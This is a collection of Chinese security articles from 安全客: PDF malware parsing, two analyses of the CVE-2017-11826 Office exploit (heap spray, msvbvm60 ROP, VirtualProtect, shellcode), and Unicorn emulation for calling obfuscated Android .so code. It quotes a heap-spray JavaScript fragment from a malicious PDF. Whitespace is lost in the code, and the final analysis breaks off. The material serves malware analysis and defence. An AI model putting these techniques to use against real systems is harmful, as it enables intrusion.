可见stream流对象我们恶代分析需要获取的重点。

页面信息图示:


【技术分享】PDF文件解析与PDF恶代分析中的一些坑

理解了上面的内容之后,我们可以得出针对恶代分析的PDF文件的大致解析思路:

文件去除混淆(下详)

查找关键字

根据关键字获得可能存在恶意代码的流或者buffer

解码流获取恶意代码

当然,也可以采取针对PDF层级结构的文档解析方式,见仁见智,因人而异。


以二进制文本解析Pdf文档结构

PDF文件是一种文本和二进制混排的格式,但是Adobe更愿意让人把它当成二进制的文件,所以,PDF文件可以直接拖入16进制编辑器中打开。前面我们介绍了PDF的文件结构以及逻辑结构,现在我们在16进制编辑器中打开PDF文件,更直白的展示PDF的关键字段以及文件结构。

%PDF-1.6#文件头+版本号,16进制读取文件0x250x500x440x46开头即证明是pdf文件 %ó#下面就是很多的Object对象 20obj#Object对象,其中2是Obj顺序号,0是Obj的版本号,obj也是对象开始的标志 <<#<<>>之间为Object对象的字典内容,包含关键字 [/ICCBased30R] >> Endobj#Object结束关键字 70obj << /Filter /FlateDecode#流对象的压缩方式为/FlateDecode /Length148#流对象的长度 >> Stream#流对象 #文件内容信息,注:此处为直观从而手动填写的 Endstream#流对象结束标志 Endobj 80obj << /Contents70R#页面内容对象的对象号为7 /MediaBox[00595.2841.68]#页面显示大小,以像素为单位 /PageIndex1 /Parent10R#其父对象号为1以及Pages对象 /Resources#该页包含的资源 <</Font<</F440R>>#字体的类型 /Shading<<>> /XObject<<>>#外部对象 /ColorSpace<</CS120R>> >> /Type/Page >> Endobj 10obj << /Count1#页码数量为1 /Kids[80R]#kids对象说明它的子页对象为8 /Type/Pages >> Endobj 130obj << /Author(?Cryin') /CreationDate(D:20100926145832+08'00') /Title(?PDF文件格式分析) >> endobj Xref#表示交叉引用表开始 014#0表明引用表描述的对象编号从0开始,8说明共有8个对象#此行在交叉引用表中可出现多个 000000000065536f#一般pdf都是以这行开始交叉引用表的,起始地址0和产生号 000000319500000n#表示对象1,就是catalog,3195为偏移地址n表示对象在使用 000000001800000n 000000005100000n 000000346400000n 000000000000000f 000000428200000n 000000272800000n 000000299200000n 000000325600000n 000000389200000n 000000362000000n 000000866000000n 000000871200000n Trailer#说明文件尾对象开始 <</Size14#14说明PDF文件对象数目 /Root120R#说明跟对象号为12 /Info130R>> startxref 8980#8980为交叉引用表的偏移地址,此处为十进制表示 %%EOF#文件结束标志

对于对象的额外解释:如果一个样本文件的交叉引用表格式如下

xref 05 000000000000000n#第1行 000000499600000n#第2行 000000002200000n#第3行 000000510100000n#第4行 000000497600000n#第5行 000000499600000n#第n行 40obj Xxxxx endobj 即交叉引用表中第五行顺序数为4的对象,其偏移为4976

Pdf文件混淆

如图,下面的样本进行了混淆

%PDF-1.5 10obj <</#54#79P#65R05 O#70e#6e#41c#74i#6fn3PagesC#61ta#6c#6f#67>> endobj

解释:<<>>代表obj对象之间的字典内容,保存了流的关键字和特征信息,因此去除混淆是必要的第一步操作,pdf文件的混淆只出现在这里#54代表0x54,上面的内容去除混淆之后即为

10obj <</TyPeR05OpenAction3Pages Catalog>> endobj

关键字

下面介绍了PDF文件解析时所需要的关键字


obj#obj对象开始 endobj#obj对象结束 stream#stream流对象开始 endstream#stream流对象结束 xref#交叉引用表开始 trailer#文件尾对象开始 startxref#交叉引用表结束 /Page#文件页数 /Encrypt#是否加密 /ObjStm#objectstreams的数量,objectstreams可包含其他Object对象,即嵌套 /JS#代表javascript嵌有JavaScript代码,可直接提取恶意代码 /JavaScript#代表javascript嵌有JavaScript代码,可直接提取恶意代码 /AA#以下三个为特定特征,打开对象自动执行 /OpenAction /AcroForm /URI#内嵌url链接 /Filter#/Filter字段出现,表示了下面的stream流进行了加密 /RichMedia#富文本 /Launch#执行Action的次数与OpenAction字段关联 #/xxxx带斜杠的关键字包含在<<>>字典内部

流的提取

/Filter关键字之后保存了stream流的编码信息一共包括以下几种:
/FlateDecode /ASCIIHexDecode /ASCII85Decode /LZWDecode /DCTDecode /RunLengthDecode /CCITTFaxDecode /JBIG2Decode /JPXDecode /Crypt

一共包括上面几种编码方式,按常见顺序进行了排序,可以级联编码。例如:

00obj <</Filter [/FlateDecode/ASCIIHexDecode] /Length14278>> 表示流先经过了ASCIIHexDecode再经过了FlateDecode编码解密是即先对流进行FlateDecode解码再对流进行ASCIIHexDecode解码目前遇到2种级联编码样本(如上),可能会有更多级联编码方式(3级或以上)解码后能够触发攻击的流对象为javascript脚本或者图片对象,常见的恶意攻击代码储存在javascript脚本中。

下面的图片是提取自样本中的PDF steam流文件中的js脚本,已经很明显是攻击代码了:


【技术分享】PDF文件解析与PDF恶代分析中的一些坑

一些坑

PDF的恶意攻击样本毫无疑问会使用一些特殊手段对抗杀软的扫描检查,下面统计了一下恶意样本常见的规避行为

交叉引用表坑1 引用表偏移不正确

Xref#表示交叉引用表开始 02#0表明引用表描述的对象编号从0开始,8说明共有8个对象 000000000065536f#一般pdf都是以这行开始交叉引用表的,起始地址0和产生号 000000319500000n#表示对象1,就是catalog,3195为偏移地址n表示对象在使用 startxref 8980#8980为交叉引用表的偏移地址,此处为十进制表示 %%EOF#文件结束标志

上面有提到过交叉引用表的偏移地址为固定数值,推测adobe的parser是从文件尾开始解析,获得交叉引用表的偏移地址(Xref中X在文档中所在的位置即为偏移地址),找到交叉引用表再定位到各个对象,实际测试发现偏移地址可以不正确8980偏移地址实际可能为任意地址。

坑2 引用表可以有多个

xref 04 000000000065535f 000000000065536n 000003909500000n 000000001500000n trailer <</ID [<386e381fac5d8245e24ee620741d0d06><b15c4bebcdae6f2210f09460b841e7a3>]/Root 260R/Size28/Info270R>> startxref 39630 %%EOF <</Filter/FlateDecode/Length 6960/Subtype/Type1C>> Stream Ddd endstream xref 201 000004034100000n 264 000004038000000n 000004048400000n 000004067700000n 000004073400000n 552 000017279000000n 000017292500000n trailer <</Root260R/Info270 R/ID[<386E381FAC5D8245E24EE620741D0D06><39FE58436C8CC909F538F88909F1EE55>]/Size 63/Prev39630>> startxref 173446 %%EOF 样本如上,正常来讲,一个文档只存在一个%EOF结束符,但是这个样本里出现了两个

字符串长度

坑1 流对象长度可以直接跟对象

正常一个字典语句中/Length之后的数值代表stream~endstream两个关键字之间流的长度,如下

70obj <</Filter/FlateDecode/Length6960/Subtype/Type1C>> stream

但测试发现流的长度可以是obj对象

20obj <</Length40R/Filter /FlateDecode>> #对应的obj对象中包含的长度如下 40obj 4880 endobj 所以stream流对象压缩前的实际长度为4880虽然是PDF格式的正规使用方法,但同时也是规避杀软的一种手法。

坑2 流对象长度可以为任意值

70obj <</Filter/FlateDecode/Length 6960/Subtype/Type1C>> stream

同理,正常流对象长度为上图,实际测试发现样本

160obj << /LengthANIWAY_____LEN >> stream

WTF is ANIWAY_LEN??? 长度可以为填ascii字符???所以,/Length后面可以不跟数值stream流的实际长度实际==关键字endstream偏移-关键字stream偏移-包含的0x0D或0x0A

解码问题

坑1 javascript可以支持文本和八进制

70obj <</Type/Action /S/JavaScript /JS(\145\166\141\154\050\146\165\156) endobj /JS160R /S/JavaScript >> endobj 160obj << /LengthANIWAY_____LEN >> stream functionurpl(k,sc){ varc="\x75"; varkc=k+c; varre=/MM/g; sc=sc.replace(re,kc); returnsc; } padding_0c="MM0c0cMM0c0c"; padding00="MM0000"; padding_41="MM4141"; varx1=0; varx2=0; varx3=0; endstream endobj

有JS编程基础的肯定注意到了,因此在这里需要判断javascript内容在对象中还是在()内亦或是否需要转码

坑2 编码方式缩写形式

10obj <</Filter[/Fl/Fl]/Length8331 >> Stream xíYXù ÷q0K3RVdoUQ"[M!S(íR0–hB*dh~5 endstream

正常文件默认/Filter关键字之后会出现xxdecode关键字表示stream流编码方式,但测试发现样本可以没有xxdecode关键字,但同样进行了编码处理,如上/Fl字段即为/FlateDecode的简写,对应表如下:

/FlateDecode/Fl /ASCIIHexDecode/AHx /ASCII85Decode/A85 /LZWDecode/LZW /RunLengthDecode/RL /CCITTFaxDecode/CCF /JBIG2Decode#/JBIG2Decode其实和/DCTDecode解码方式是一样的 /DCTDecode/DCT

坑3 编码形式可以级联

100obj <</Filter [/FlateDecode/ASCIIHexDecode] /Length14278>>

如上表示流先经过了ASCIIHex加密再进行了FlateDecode加密解码时需要先进行FlateDecode解密之后再进行ASCIIHexDecode解密


常用分析工具推荐

介绍完恶代格式后,推荐一些恶代分析的基本工具

PdfStreamDumper

stream流解析工具

vb开源项目。工具存在一些bug,无法解析级联编码后的stream流,例如/Fl/Fl编码就无法解析

PDFParser

c++开源项目,pdf格式解析,逻辑比较清晰,可以参考

ParanoiDF

python开源项目,恶代分析

此外还有一些很赞的开源项目如pyew、peepdf等等,不一一贴地址了。


References

PDF, let me count the way...

Cryin/PDFTear

Adobe PDF 官方文档

Malicious Document PDF analysis in 5 steps

C#实现的PDF解析器



【技术分享】PDF文件解析与PDF恶代分析中的一些坑
【技术分享】PDF文件解析与PDF恶代分析中的一些坑
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4627.html

【技术分享】对СVE-2017-11826漏洞利用程序的分析

$
0
0
【技术分享】对СVE-2017-11826漏洞利用程序的分析

2017-10-31 11:13:01

阅读:1402次
点赞(0)
收藏
来源: securelist.com





【技术分享】对СVE-2017-11826漏洞利用程序的分析

作者:興趣使然的小胃





【技术分享】对СVE-2017-11826漏洞利用程序的分析

译者:興趣使然的小胃

预估稿费:80RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

在最近的周二补丁日(10月17日)中,微软发布了62个漏洞补丁,其中有个补丁负责修复СVE-2017-11826漏洞。СVE-2017-11826漏洞是一个非常严重的零日(zero-day)漏洞,攻击者可借此实施针对性攻击行动,所有版本的Microsoft Office软件都会受此漏洞影响。


二、技术分析

攻击者所使用的漏洞利用程序为一个RTF文档,其中包含一个DOCX文档,DOCX文档负责利用Office Open XML解析器中存在的СVE-2017-11826漏洞。


【技术分享】对СVE-2017-11826漏洞利用程序的分析

漏洞利用载荷本身为word/document.xml格式,如下所示:


【技术分享】对СVE-2017-11826漏洞利用程序的分析

根据Office Open XML文件格式标准(ECMA-376)中的描述,“font”元素用来描述文档中使用的字体,正常的“font”元素如下所示:


【技术分享】对СVE-2017-11826漏洞利用程序的分析

在漏洞利用载荷中,并没有出现</w:font>这个闭合标签。紧跟在<w:font>标签之后的是<o:idmap/>对象元素,这种情况会导致OOXML解析器出现“类型混淆(type confusion)”现象。使用任何对象元素都可以成功利用这个漏洞。在漏洞利用点之前,我们必须通过某个检查步骤,具体方法是在<w:font>标签之前设立一个OLEObject元素,其中的name属性值从UTF-8编码转换为Unicode编码后长度必须大于或等于32个字节。


【技术分享】对СVE-2017-11826漏洞利用程序的分析

从UTF-8编码转换为Unicode编码后,E8 A3 AC E0 A2 80会变成EC 88 88 08。


【技术分享】对СVE-2017-11826漏洞利用程序的分析

如果这些条件全部满足,这个指针会被解除引用,控制流程会移交给“该地址+4”处所对应的内容。


【技术分享】对СVE-2017-11826漏洞利用程序的分析

如果想控制0x088888EC地址处的内存内容,攻击者需要将常见的堆喷射(heap spraying)技术与ActiveX组件结合使用。


【技术分享】对СVE-2017-11826漏洞利用程序的分析

漏洞利用程序使用msvbvm60.dll中的ROP以及gadget(指令代码)来绕过ASLR(地址空间布局随机化)以及DEP(数据执行保护)机制。RTF文档会使用与msvbvm60.dll文件相关联的CLSID来加载这个DLL模块。


【技术分享】对СVE-2017-11826漏洞利用程序的分析

ROP的第一部分功能是设置ESP寄存器的值:


【技术分享】对СVE-2017-11826漏洞利用程序的分析

ROP的第二部分内容会被忽略掉,其作用是将EIP寄存器设置为0x088883EC。最后的“pop eax; retn”指令会将0x729410D0地址填充到EAX中。这个地址是msvbvm60.dll导入(Imports)表中VirtualProtect指针所对应的地址(VirtualProtect位于Kernel32.dll中)。


【技术分享】对СVE-2017-11826漏洞利用程序的分析

【技术分享】对СVE-2017-11826漏洞利用程序的分析

下一个ROP gadget会使用这个VirtualProtect指针来调用VirtualProtect(0x8888C90, 0x201, 0x40, 0x72A4C045)函数。执行这个操作后,程序控制权会移交给0x8888F70地址处的shellcode,这段shellcode会解密并执行内嵌的DLL:


【技术分享】对СVE-2017-11826漏洞利用程序的分析

三、附录

卡巴斯基实验室安全解决方案将СVE-2017-11826漏洞利用程序标记为:

MSWord.Agent.ix

MSOffice.CVE-2017-11826.a

HEUR:Exploit.MSOffice.Generic

对应的IOC为:

cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb



【技术分享】对СVE-2017-11826漏洞利用程序的分析
【技术分享】对СVE-2017-11826漏洞利用程序的分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://securelist.com/analyzing-an-exploit-for-%D1%81ve-2017-11826/82869/

【技术分享】 Android SO 高阶黑盒利用

$
0
0
【技术分享】 Android SO 高阶黑盒利用

2017-10-31 13:46:38

阅读:1088次
点赞(0)
收藏
来源: 安全客





【技术分享】 Android SO 高阶黑盒利用

作者:360U2795066467





【技术分享】 Android SO 高阶黑盒利用

作者:小无名

预估稿费:500RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

Android 的开发者喜欢将一些核心认证算法写在SO中,以此来增加黑客利用其业务的难度。比起DEX文件,SO确实有不少优势。

优势一:SO中为原生ARM汇编,难以还原原始代码。DEX文件很容易被各种反编译工具直接还原成通俗易懂的Java代码。

优势二:SO调试成本高,而Java写的程序更容易被调试,如使用SmaliIdea、Jeb、IDA、Xposed、插桩打日志等多种方式。

优势三:SO难以在x86生产环境中黑盒调用,而DEX文件可转换成class文件,在生产环境中使用JNI直接传参调用。

综上所述,如果APP的核心算法采用C/C++编写并编译为SO文件,那么可以稍微增加点难度。但是这种难度对于经验丰富的逆向人员来说,仅仅是给他们增加点生活费。

实际上,SO还有各种保护,比如反调试、区块加密、OLLVM混淆、ARM VMP。OLLVM混淆是逆向人员的噩梦,这招确实能有效提高SO代码的安全性。ARM VMP 兼容性问题比较多,还无法商业化。

OLLVM混淆是噩梦,是本文的重点,那么我们要怎么利用被OLLVM混淆过的代码呢? 笔者将介绍一种无需逆向并且能在x86生产环境高效利用SO的小窍门。我以前就不断的思考,是否可以像调用jar文件那样调用ARM的SO文件呢?

众所周知,我们的目标SO一般有且只有ARM指令集的SO文件,如果有x86的SO文件,是可以直接黑盒利用。如果只有ARM指令集,可以采用本文介绍的方式进行黑盒利用或者采用逆向的方法直接还原源代码。很显然,对于Ollvm混淆过的程序来说,还原源代码是相当困难的。

如何调用ARM版本的SO文件?SO文件就是一个黑盒子,我们无须知道其内部原理~


unicorn引擎

unicorn引擎是一款跨平台跨语言的CPU仿真库,支持ARM,ARM64....所以我采用这个库来调用难以逆向的SO文件。

unicorn git地址:https://github.com/unicorn-engine/unicorn

unicorn库是支持windows编译的,我是在Mac系统下完成的编译。

编译unicorn很简单,在unicorn根目录下执行./make.sh 即可,不是直接make。

默认情况下,make.sh脚本编译的是动态库,如果需要静态库的小伙伴可以在config.mk修改UNICORN_STATIC属性为YES.

unicorn学习方法?unicorn开发者并不喜欢写太多的开发文档!所以你在README.md中可能仅仅只能看到如何编译Unicorn,至于unicorn提供了哪些API、宏都是没有说明的。实际上最好的开发文档常在unicorn.h头文件中,另外demo也很丰富。

有了unicorn,我们就有了一颗完全可以操控的虚拟ARM CPU,可以通过API实现寄存器读写、流程控制、内存映射、接管中断等等,完全可以将SO的代码加载到unicorn中去运行。

我们通过一段代码学习unicorn基本使用方法。

#defineTHUMB_CODE"\x83\xb0"//subsp,#0xc staticvoidtest_thumb(void) { uc_engine*uc; uc_errerr; uc_hooktrace1,trace2; intsp=0x1234;//R0register printf("EmulateTHUMBcode\n"); //初始化模拟器为Thmub模式 err=uc_open(UC_ARCH_ARM,UC_MODE_THUMB,&uc); if(err){ printf("Failedonuc_open()witherrorreturned:%u(%s)\n", err,uc_strerror(err)); return; } //给模拟器映射2M内存,UC_PROT_ALL为所有内存权限(读写执行) uc_mem_map(uc,ADDRESS,2*1024*1024,UC_PROT_ALL); //填充机器码到虚拟内存中。 uc_mem_write(uc,ADDRESS,THUMB_CODE,sizeof(THUMB_CODE)-1); //初始化寄存器 uc_reg_write(uc,UC_ARM_REG_SP,&sp); //设置回调函数 uc_hook_add(uc,&trace1,UC_HOOK_BLOCK,hook_block,NULL,1,0); //设置一个指令执行回调用,该回调函数会在指令执行前被调用 uc_hook_add(uc,&trace2,UC_HOOK_CODE,hook_code,NULL,ADDRESS,ADDRESS); //开始运行虚拟CPU,因为是Thumb模式,所以地址的最低位需要置位。 err=uc_emu_start(uc,ADDRESS|1,ADDRESS+sizeof(THUMB_CODE)-1,0,0); if(err){ printf("Failedonuc_emu_start()witherrorreturned:%u\nerror:%s\n",err,uc_strerror(err)); } //输出结果寄存器 printf(">>>Emulationdone.BelowistheCPUcontext\n"); uc_reg_read(uc,UC_ARM_REG_SP,&sp); printf(">>>SP=0x%x\n",sp); uc_close(uc); }

上述代码已经非常详细介绍了unicorn大概使用方法,具体信息可以参考unicorn.h 中的注释。从代码可以看出,unicorn的控制粒度非常细,灵活的API可以让我们掌控虚拟机的各种信息,特别是Unicorn的Hook功能(类似于异常处理机制,可以借助这个实现断点之类的)。


Unicorn 与 黑盒利用的关系

Unicorn 是一款很轻便的CPU虚拟库,我将使用Unicorn来运行我难以逆向的算法。

黑盒调用需要解决哪些问题?

1、SO装载

2、内存映射

3、栈分配

4、API调用

5、返回值读取


虚拟内存与真实内存

Unicorn 基于qemu,所以拥有完善的内存管理机制。 虚拟机内部内存和外部内存是完全隔离开的,也就是说虚拟机内访问0x400不等于外部地址0x400。虚拟机中的内存最初情况是一片空白,需用调用uc_mem_map映射内存。

映射内存之后就需要通过uc_mem_write向虚拟机内存中写入真实数据(比如代码、参数等)。

注意:uc_mem_map的大小和基地址都需要4kb对齐,否者会映射失败。


SO的装载

我们需要写一个Loader来加载要黑盒利用的SO吗?完全没有必要!最简单的方法是将SO文件直接载入到内存中,然后在虚拟机中偏移为0处,映射一段能装下这个SO文件的内存,最后将SO的数据拷贝到虚拟机内存。

这样做有什么好处呢?我们能直接利用IDA中的函数地址了!


如果想用Unicorn运行一个函数,那么一定要解决的问题就是栈。解决方案是调用uc_mem_map映射一段固定内存地址作为运行栈。映射之后再将地址通过uc_reg_write写到SP寄存器中。

参考代码如下:

uint32_tsp=0x10000;//分配Stack uint32_tsp_start=sp+0x200; uc_mem_map(uc,sp,sp_start-sp,UC_PROT_ALL); uc_reg_write(uc,UC_ARM_REG_SP,&sp);

有了栈才能保证SO的正常运行。


Unicorn 的回调机制

Unicorn 强大在于它拥有粒度极细的回调机制,大概有内存访问前、后、访问异常、代码异常、代码执行等等回调,所以功能比目前linux or Windows的调试API还完善,通过Unicorn完完全全是控制CPU。

添加回调的函数是:uc_hook_add

不同类型的回调有不同类型的回调声明,具体可以参考unicorn.h 这个头文件。

本文主要介绍指令执行回调(类似于断点功能),该回调会在指令执行前调用,我一般用来打印关键点上下文信息接管API调用

uc_hooktrace1,trace2; uc_hook_add(uc,&trace2,UC_HOOK_CODE,(void*)hook_code,NULL,0,function_start+function_size); staticvoidhook_code(uc_engine*uc,uint64_taddress,uint32_tsize,void*user_data) {//address为当前执行位置、size为指令长度,user——data可忽略 switch(address) { case0x1234://process...break; case0x1223:break: default: xxxxxx; } set_breakpoint(uc,0x83f4);//如果address地址是83f4就输出寄存器信息 set_breakpoint(uc,0x853a); } ////////////////////////////////////////////// staticvoidset_breakpoint(uc_engine*uc,uintaddress) { uintpc; uc_reg_read(uc,UC_ARM_REG_PC,&pc);if(pc==address) {printf("========================\n");printf("Breakon0x%x\n",pc); uintvalues; uc_reg_read(uc,UC_ARM_REG_R0,&values);printf("R0=0x%x\n",values); uc_reg_read(uc,UC_ARM_REG_R1,&values);printf("R1=0x%x\n",values); uc_reg_read(uc,UC_ARM_REG_R2,&values);printf("R2=0x%x\n",values); uc_reg_read(uc,UC_ARM_REG_R3,&values);printf("R3=0x%x\n",values); uc_reg_read(uc,UC_ARM_REG_R4,&values);printf("R4=0x%x\n",values); uc_reg_read(uc,UC_ARM_REG_R5,&values);printf("R5=0x%x\n",values);printf("========================\n"); } }

上述代码看出,通过在每条指令上设置执行回调来监控状态,还能通过检查CPU是否执行到我感兴趣的地址(断点地址)来输出寄存器信息。其中的switch address是做什么用的呢?这个主要是用于执行到bl 或 blx到其它动态库代码时接管处理。


接管API调用

如果我们想运行的程序会调用不属于这个模块的代码的情况怎么处理呢?比如调用JNI的函数或者libc的函数,怎么办呢?

完全虚拟一个这样的环境当然没问题,但是不划算。所以我采用HOOK的方式实现函数调用。我一般会提前确认目标函数调用了哪些外部的函数,做一个统计。一般外部的函数都是系统库的函数,在网上能查到其用法。

在上一段代码中已经提到,switch address是用来处理跨库调用的,address一般为bl / blx 或plt中函数桥接的第一行地址。这样我们能及时拦截到函数执行时,控制权交还外部回调代码,在回调中根据不同函数实现不同功能。

比如我要处理JNI中GetStringUTFCharts这个函数,那么我可能需要加一个断点在blx r3这个位置,当程序执行到这里时,会陷入回调。回调中根据address分流处理。比如这个函数就是转换字符串,那么我们就模拟完成这个操作,按效果来说,在vm中分配一段内存,然后写入字符串,最后修改R0和PC寄存器即可。


防范建议

避免使用纯算法,增加核心算法的上下文依赖,防止黑盒调用。



【技术分享】 Android SO 高阶黑盒利用
【技术分享】 Android SO 高阶黑盒利用
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4622.html

【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

$
0
0
【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

2017-10-31 16:32:42

阅读:1562次
点赞(0)
收藏
来源: 安全客





【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

作者:银雁冰





【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

作者:银雁冰

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

北京时间2017年10月11日,微软在10月的安全公告中公开致谢奇虎360,后者在9月底向其秘密报告了一个在野office 0day并积极协助修复。该漏洞的成因是</w:font>标签没有正确闭合,造成用OLEObject的数据结构解析了font提供的数据。攻击者通过在font的name属性中提供精心构造的数据,覆写了一个函数指针,从而实现控制流劫持。该漏洞是和CVE-2015-1641一样经典的类型混淆漏洞。这篇文章中,我将分析该漏洞的触发原理,并在此基础上尝试构造该漏洞的一个简单利用,最后给出该漏洞的动态检测方案。

分析所用样本的MD5:b2ae500b7376044ae92976d9********

静态分析

原始样本为一个rtf文档,初步观察后发现该漏洞最后有一段乱码字符,初步判断是一段payload。进一步观察发现该样本为常见的rtf文档利用方式,于是在内容中搜索可能被嵌入的word对象,搜索“Word.Document.12”,得到如下结果:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

证明该rtf文件里面嵌入有word文档对象,于是用rtfobj.py工具进行提取,结果如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

可以发现该样本内嵌三个对象,其中两个为Word.Document.12对象,另外一个暂时未知。联想到之前分析过的CVE-2015-1641漏洞,于是猜测该样本由3部分构成:一个用于堆喷射文档,用于绕过ASLR的控制语句,一个漏洞触发文件。于是我把编号为1、2的两个对象的后缀名改为.zip,并用压缩软件打开,果不其然,看到了如下目录结构:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

类比CVE-2015-1641,我在提取出来的2号文档的document.xml文件里面看到了如下语句:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

可以看到<w:font>标签缺乏</w:font>这一闭合标签,而且中间存在特殊字符,猜测这就是漏洞触发点,等待后面验证。

到这里,还没有找到Bypass ASLR的关键字。我尝试在rtf文档中搜索类似如下的文本内容(该类型漏洞用来Bypass ASLR的常见方式,最终会导致加载msvcr71.dll从而Bypass ASLR):

【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

有点意外,没有发现类似的内容,而且看rtfobj.py提取出的0号对象也不像。不过我注意到在Word.Document.12对象嵌入前存在下面的语句:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

里面有一个CLSID:D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731,查询得知该CLSID对应的模块为msvbvm60.dll,读过《Bypassing windows ASLR in Microsoft Office using ActiveX controls》这篇文章的人应该都知道这个模块是可以用来Bypass ASLR的。分析到这里,前面猜测的3部分已经都定位到了,下面进行动态验证。


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

(工具为James Forshaw的OleViewDotNet)


动态分析

为了方便动态分析,需要构造一个crash样本。依据之前对CVE-2015-1641的调试经验,只要在rtf文档中把堆喷射部分移除,就可以造成可控的crash。具体来说,就是在原始样本中把上面提取出来的编号2的内容和最后的乱码部分(乱码部分一般是该类型漏洞利用方式的第二阶段payload)给移除,或者构造一个最简crash,如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

我的调试环境为windows7_sp1_x86 + office2007,具体的文件版本如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

将上述最简crash拖进虚拟机,用windbg打开winword.exe,然后打开该crash文件,发现在如下位置产生一个访问违例:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

且此时的寄存器状态如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

可以看到这是一个call调用,且eax寄存器的值为0x88888ec,在有堆喷射的情况下,该地址处应该为布控好的内存,因为现在没有进行堆喷射,所以此处是一个无效值。

计算得到崩溃点在wwlib中的偏移为3d30e9:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

从IDA的反汇编视图中可以猜测出崩溃函数的第二个参数的+0x1c处的值为一个长度,+0x18处的值为一个宽字字符串:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

对崩溃函数的首地址下断点,调试验证上面的猜测,输出如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

对照静态分析得到的文件,可以发现,崩溃函数的第二参数中存有每次解析的标签,崩溃函数应该是在解析每一个标签的内容。从上图可以看到,当解析到idmap标签时发生了crash,并且在上图中并没有发现font标签。猜测font标签是在其他函数中进行解析的。

于是追溯到崩溃函数的父函数,父函数为sub_3D3FB,崩溃函数在父函数的调用处如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测
观察发现父函数的逻辑是对更大范围标签进行派发。现在来下断点验证一下父函数是否解析到了font标签。从IDA视图中可看出,崩溃函数的第一参数为父函数调用处[esi+b10]存的值,崩溃函数的第二参数即为父函数的第二参数,于是对父函数的首部下断点,得到如下的调试结果,可以看到父函数是可以解析到font的:
【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

现在对崩溃函数和父函数首部同时下断点,看父函数把标签派发给崩溃函数的情况:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

可以看到OLEObject和idmap标签父函数都派发给了崩溃函数处理,但font标签父函数没有派发给崩溃函数。

调试到这里,已经知道是wwlib在解析漏洞文件中的OLEObject及其子标签时引发的漏洞。接下来的问题是,漏洞文件中的数据是如何被传递到漏洞触发处的?

注意到崩溃点的上面不远处有一个call(sub_9DA0),对该call下断点,多次调试之后发现该call的返回值对应的[[ret_value+44]+44]处固定为0x88888ec,猜测该值为漏洞文件所提供。对sub_9DA0函数进行分析后,发现该函数的作用是计算返回一个地址,分析时我的IDA注释显示该函数在CVE-2015-1641的触发过程中也被用到(因为也要解析标签获取数据)。在IDA中发现该函数会通过ecx提供的值计算得到一个地址,如下:
【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测
地址计算公式为 edx × [ecx + 8] + [ecx + c] + ecx。 如下图所示:在崩溃函数中发现调用前ecx的值源自esi,edx的值也来自esi,而esi进一步源自arg0,所以地址计算公式可以表示为:([[[arg0+b14]]] - 2) × [[[arg0+b14]]+ 8] + [[[arg0+b14]]+ c] + [[arg0+b14]]:
【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

此时对崩溃函数开始处的断点输出进行补充,使标签名和每个标签对应的公式数据一并输出。调试后得到如下结果(输出中第一个值并没有减2,后面在计算公式需要手动减2,其实后面会发现这个值在函数中是固定的):


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测
从上图的输出中可猜到,紫色框圈出的输出应该为xml文件中标签解析的嵌套层级,可以看到漏洞触发时OLEObject对应的level为4,idmap对应的level为6。从上图中也可得知:在崩溃函数中,公式第一项的右乘数和公式第二项的值在每次计算时都固定保持不变,分别为0x4c和0x10,且公式的第四项在解析OLEObject标签及其子标签时保持不变。所以公式可以简化为:(current_level-2)×0x4c + 0x10 + [[arg0+0xb14]] 由上面的分析可知崩溃前的sub_9DA0返回值的[[ret_value+44]+44]处的值固定为0x88888ec,且此时传入sub_9DA0的 edx = 6–2 = 4。重启windbg,在解析OLEObject标签时,用上面推导的公式计算得到崩溃点前sub_9DA0会返回的值calc_addr。先查看[[calc_addr+44]+44]处的值,发现访问违例,再退一步查看[calc_addr+44]处的值,发现全为0,于是对[calc_addr +44]处下一个内存写入断点,调试及输出如下:
【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

6字节数据在内存中变成了4字节数据,猜测用到了utf-8编码,验证一下果然是这样。如下图:可以看到原文件中的非ASCII码字符通过utf-8编码后到达了内存中的指定地方,从而在漏洞触发后被获取:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

由栈回溯发现,该拷贝过程发生在父函数的另一处逻辑里,如下。该逻辑应该就是解析font标签的逻辑,这里不再深入追踪:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

到这里,已经分析清楚漏洞数据的传递过程。接下来的问题是,类型混淆究竟是如何发生的?到底是什么和什么之间产生了类型混淆?

